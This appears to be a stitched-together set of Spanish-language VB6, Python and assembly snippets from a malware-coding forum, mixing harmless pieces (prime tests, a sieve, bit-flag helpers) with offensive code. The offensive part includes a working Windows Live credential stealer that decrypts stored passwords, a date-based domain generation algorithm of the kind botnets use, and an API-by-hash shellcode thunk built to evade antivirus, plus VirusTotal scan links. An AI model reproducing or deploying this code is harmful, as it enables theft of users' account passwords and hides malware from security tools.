http://www.virustotal.com/es/analisis/f34627c59552a4c0f721786488a3af25a85b6d9cdbb0f5f675621f8c471fdeea-1278896349

http://www.box.net/shared/a8vpqkp5mf

http://www.box.net/shared/pozkqp2n7f

• Abrir el ejecutable con un programa que permita modificar la informacion de version del fichero
• Poner en el valor 'Comments' la contraseña de la cuenta
• Poner en el valor 'ProductName' el nombre de la cuenta

Option Explicit
 
'KERNEL32
Private Declare Function GetProcessHeap Lib "KERNEL32" () As Long
'ADVAPI32
Private Declare Function CredEnumerateW Lib "ADVAPI32" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'CRYPT32
Private Declare Function CryptUnprotectData Lib "CRYPT32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function RtlFreeHeap Lib "NTDLL" (ByVal HeapHandle As Long, ByVal Flags As Long, ByVal MemoryPointer As Long) As Long
 
Private Type DATA_BLOB
    cbData                  As Long
    pbData                  As Long
End Type
 
Public Type ACCOUNT_INFO
    sMail                   As String
    sPassword               As String
End Type
 
Public Function sMSN() As ACCOUNT_INFO()
    Dim tTMP()      As ACCOUNT_INFO
    Dim i           As Long
    Dim x           As Long
    Dim lCount      As Long
    Dim lCred       As Long
    Dim lPtr        As Long
    Dim lUser       As Long
    Dim tBlobIn     As DATA_BLOB
    Dim bvGUID(4)   As Currency
 
    bvGUID(0) = 2814797012434.9527@
    bvGUID(1) = 2139259215904.7791@
    bvGUID(2) = 1632598244864.8297@
    bvGUID(3) = 2842944080556.8622@
    bvGUID(4) = 275.2573@
    'bvGUID = "WindowsLive:name=*"
 
    Call CredEnumerateW(VarPtr(bvGUID(0)), 0, lCount, lCred)
 
    For i = 0 To lCount - 1
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(lPtr), ByVal lCred + (i * &H4), &H4, 0)
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(lUser), ByVal (lPtr + &H30), &H4, 0)
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(tBlobIn.cbData), ByVal (lPtr + &H18), &H8, 0)
 
        Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
 
        If tBlobIn.cbData Then
            ReDim Preserve tTMP(x)
            With tTMP(x)
                .sPassword = Space$(tBlobIn.cbData \ 2)
                Call NtWriteVirtualMemory(-1, ByVal StrPtr(.sPassword), ByVal tBlobIn.pbData, tBlobIn.cbData, 0)
                If Len(.sPassword) > 0 Then
                    .sMail = uReadStr(lUser)
                End If
            End With
            x = x + 1
        End If
    Next i
 
    Call RtlFreeHeap(GetProcessHeap(), 0, lCred)
 
    sMSN = tTMP
End Function
 
Private Function uReadStr(ByVal lPtr As Long) As String
    Dim iChar       As Integer
    Dim i           As Long
 
    Do
        Call NtWriteVirtualMemory(-1, ByVal VarPtr(iChar), ByVal (lPtr + i * 2), 2, ByVal 0&)
        i = i + 1
        If iChar = 0 Then Exit Do
        uReadStr = uReadStr & ChrW$(iChar)
    Loop
End Function

http://www.virustotal.com/es/analisis/2d7deb3a66001d026c2267bec22393727c97ee4ac70bb3995b10622518391189-1278876972

    Dim i   As Long
    Dim x() As ACCOUNT_INFO
 
    x = sMSN
 
    For i = LBound(x) To UBound(x)
        Debug.Print x(i).sMail, x(i).sPassword
    Next i

Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
    ReadConfig = (lSrc And 2 ^ iPos)
End Function
 
Public Function SaveConfig(ParamArray vValues() As Variant) As Long
    Dim i       As Long
    Dim vTmp()  As Variant
 
    vTmp = vValues
    ReDim Preserve vTmp(0 To 30)
 
    SaveConfig = 0
    For i = 0 To 30
        If vTmp(i) Then SaveConfig = (SaveConfig Or 2 ^ i)
    Next i
End Function

Un ejemplo de uso? Aqui teneis :

Private Const lSavedConfig  As Long = &H16E  'SaveConfig(False, True, True, True, False, True, True, False, True, False)
 
Private Sub Form_Load()
    Dim x       As Long
 
    For x = 0 To 30
        If ReadConfig(lSavedConfig, x) = True Then
            MsgBox "La opcion nº" & x & " esta activada"
        End If
    Next x
End Sub
 
Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
    ReadConfig = (lSrc And 2 ^ iPos)
End Function

Public Function IsItPrime(ByVal lNumber As Long) As Boolean
    Dim i       As Long
 
    If (lNumber > 2) And (lNumber Mod 2) Or (lNumber = 2) Then
        For i = 2 To (lNumber ^ 0.5)
            If (lNumber Mod i) = 0 Then
                GoTo Exit_
            End If
        Next i
        IsItPrime = True
    End If
Exit_:
End Function

Option Explicit

Private n       As Long

Private Sub Form_Load()
    Dim x       As Long
    
    Timer1.Interval = 10
    Timer1.Enabled = True
    For x = 0 To 10 ^ 6
        Call IsItPrime(x)
        DoEvents
    Next x
    Timer1.Enabled = False
    MsgBox n * 10 & " ms"
End Sub

Public Function IsItPrime(ByVal lNumber As Long) As Boolean
    Dim i       As Long
    
    If (lNumber > 2) And (lNumber Mod 2) Or (lNumber = 2) Then
        For i = 2 To (lNumber ^ 0.5)
            If (lNumber Mod i) = 0 Then
                GoTo Exit_
            End If
        Next i
        IsItPrime = True
    End If
Exit_:
End Function

Private Sub Timer1_Timer()
    n = n + 1
End Sub

## coding: utf-8
 
## Criba de Eratóstenes
def GetPrimes(n):
	# Obtenemos el lado de la criba
	nroot = int(n**0.5)
	# Marcamos todos los numeros como primos
	sieve = [True]*(n+1)
	# El 0 y el 1 no son primos
	sieve[0] = False
	sieve[1] = False
 
	# Recorremos todos los números de 2 hasta la raíz
	for i in xrange(2, nroot+1):
		# Si esta marcado como primo...
		if sieve[i]:
			# Obtenemos la cantidad de multiples en el rango
			m = n/i - i
			# Marcamos todos sus multiplos como NO primos
			sieve[i*i: n+1:i] = [False] * (m+1)
	# Devolvemos solo los primos del rango
	return [i for i in xrange(n+1) if sieve[i]]
 
while True:
	try:
		n = int(raw_input("Dame un número:"))
		if (n % 2 == 0) and (n > 2):
			break
		int("x")
	except:
		print "Se necesita un número entero par mayor que 2."
 
print "*"*50
print "Se aplicará la conjetura fuerte de Goldbach."
print "Esta establece que cualquier número par mayor que 2 puede \nexpresarse como suma de DOS números primos"
print "*"*50
 
p = GetPrimes(n)
l = 0
 
for w in p:
	for v in p:
		if w + v == n:
			if w == l:
				exit = True
				break
			l = v
			print "%d+%d=%d" % (w,v,n)
	if exit == True:
		break

http://es.wikipedia.org/wiki/Criba_de_Erat%C3%B3stenes
http://es.wikipedia.org/wiki/Conjetura_de_Goldbach

Public Function GenerateDomain(ByVal dDate As Date, Optional ByVal lLength As Long = 5) As String
    Const sCharSet  As String = "abcdefghijklmnopqrstuvwxyz0123456789qwertyuiopasdfghjklñzxcvbnm0987654321"
    Dim sSuffix     As String
    Dim iDay        As Single
    Dim iMonth      As Single
    Dim iYear       As Single
    Dim lNumb       As Long
    Dim i           As Long
    Dim lPos        As Long
 
    iDay = Day(dDate)
    iMonth = Month(dDate)
    iYear = Year(dDate)
 
    sSuffix = Choose(((iMonth Xor iDay) Mod 9) + 1, "com", "net", "es", "co.uk", "ws", "org", "us", "info", "mx")
 
    lNumb = ((iYear And &HFF00&) \ &H100) * ((iDay * (Tan(iYear And &HFF))) Xor Cos(iMonth * 10))
    lNumb = Abs(lNumb)
    If lNumb Mod 2 Then lNumb = lNumb Xor (iYear \ (iMonth * iDay))
 
    For i = 1 To lLength
        lPos = Abs(((lNumb * (i Xor lNumb / 2)) Mod Len(sCharSet)) - Len(sCharSet))
        GenerateDomain = GenerateDomain & Mid$(sCharSet, lPos, 1)
    Next i
 
    GenerateDomain = GenerateDomain & "." & sSuffix
End Function

Debug.Print GenerateDomain(Now, 10)

ra8530yzvu.net

Public Function htons(ByVal lPort As Long) As Integer
    htons = ((((lPort And &HFF000000) \ &H1000000) And &HFF&) Or ((lPort And &HFF0000) \ &H100&) Or ((lPort And &HFF00&) * &H100&) Or ((lPort And &H7F&) * &H1000000) Or (IIf((lPort And &H80&), &H80000000, &H0)) And &HFFFF0000) \ &H10000
End Function

http://www.xbeat.net/vbspeed/c_SwapEndian.htm
http://www.xbeat.net/vbspeed/c_HiWord.htm

Option Explicit
 
Private Type SUBROUTINE
    lNull           As Long '// Must be 0
    lPtr            As Long
End Type
 
Private Declare Function GoSubReturn Lib "MSVBVM60" Alias "__vbaGosubReturn" (ByRef lpSubRoutine As Long) As Long
 
'---------------------------------------------------------------------------------------
' Procedure : GoToPtr
' Author    : Karcrack
' Date      : 08/05/2010
' Purpose   : GoTo a pointer
' Warning   : It's not a JMP, is a GoTo, so the execution of the program won't continue
'           where you made the GoTo...
'---------------------------------------------------------------------------------------
'
Public Sub GoToPtr(ByVal lPtr As Long)
    Dim tSubRoutine As SUBROUTINE
 
    tSubRoutine.lPtr = lPtr
    Call GoSubReturn(VarPtr(tSubRoutine))
End Sub

Sub Main()
    Call GoToPtr(gP(AddressOf RMain))
End Sub
 
Function gP(ByVal lPtr As Long) As Long
    gP = lPtr
End Function
 
Sub RMain()
    MsgBox "HOLA"
    End
End Sub

Call Invoke("USER32", &HBC4DA2BE, 0, StrPtr("Soy Karcrack :D"), StrPtr("Ejemplo"), 0)

;ESI = Puntero cadena
compute_hash:
	xor	edi, edi     ;EDI = 0
	xor	eax, eax   ;EAX = 0
	cld
compute_hash_again:
	lodsb                ;AL = BYTE[ESI] , ESI = ESI + 1
	test	al, al
       jz	compute_hash_finished
	ror	edi, 0xD
	add	edi, eax
       jmp	compute_hash_again
compute_hash_finished:
;EDI = El Hash de la cadena

Código:

http://www.box.net/shared/0ld4yy6bmy

Codigo Fuente incluido

'---------------------------------------------------------------------------------------
' Module    : kInvoke
' Author    : Karcrack
' Date      : 09/04/2010
' Purpose   : Call APIs By Hash
'---------------------------------------------------------------------------------------
 
Option Explicit
 
'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
 
Private Const THUNK_GETAPIPTR       As String = "E82200000068A44E0EEC50E84300000083C408FF742404FFD0FF74240850E83000000083C408C3565531C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE789E85D5EC35552515356578B6C241C85ED74438B453C8B54057801EA8B4A188B5A2001EBE330498B348B01EE31FF31C0FCAC84C07407C1CF0D01C7EBF43B7C242075E18B5A2401EB668B0C4B8B5A1C01EB8B048B01E85F5E5B595A5DC3"
Private Const THUNK_CALLCODE        As String = "<PUSHES>B8<API_PTR>FFD0C3"
Private ASM_GETAPIPTR(0 To 170)     As Byte
Private ASM_CALLCODE(0 To 255)      As Byte
 
Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                       As Variant
    Dim lAPI                        As Long
    Dim sThunk                      As String
 
    Call PutThunk(THUNK_GETAPIPTR, ASM_GETAPIPTR)
    lAPI = CallWindowProcW(VarPtr(ASM_GETAPIPTR(0)), StrPtr(sDLL), hHash)
 
    If lAPI Then
        For Each vItem In vParams
            sThunk = "68" & GetLng(CLng(vItem)) & sThunk
        Next vItem
 
        sThunk = Replace$(Replace$(THUNK_CALLCODE, "<PUSHES>", sThunk), "<API_PTR>", GetLng(lAPI))
        Call PutThunk(sThunk, ASM_CALLCODE)
        Invoke = CallWindowProcW(VarPtr(ASM_CALLCODE(0)))
    Else
        Invoke = -1
        Err.Raise -1, , "Bad Hash or wrong DLL"
    End If
End Function
 
Private Function GetLng(ByVal lLng As Long) As String
    Dim lTMP                        As Long
 
    lTMP = (((lLng And &HFF000000) \ &H1000000) And &HFF&) Or ((lLng And &HFF0000) \ &H100&) Or ((lLng And &HFF00&) * &H100&) Or ((lLng And &H7F&) * &H1000000) ' by Mike D Sutton
    If (lLng And &H80&) Then lTMP = lTMP Or &H80000000
 
    GetLng = String$(8 - Len(Hex$(lTMP)), "0") & Hex$(lTMP)
End Function
 
Private Sub PutThunk(ByVal sThunk As String, ByRef bvRet() As Byte)
    Dim i                           As Long
 
    For i = 0 To Len(sThunk) - 1 Step 2
        bvRet((i / 2)) = CByte("&H" & Mid$(sThunk, i + 1, 2))
    Next i
End Sub
 

Aquí tenéis el código de ejemplo con todos los códigos de ASM utilizados :

http://www.box.net/shared/qgzqkoc4nn